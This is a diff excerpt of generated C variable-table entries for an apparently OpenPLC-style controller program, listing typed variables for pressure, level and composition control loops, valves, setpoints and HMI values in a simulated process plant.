+{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, 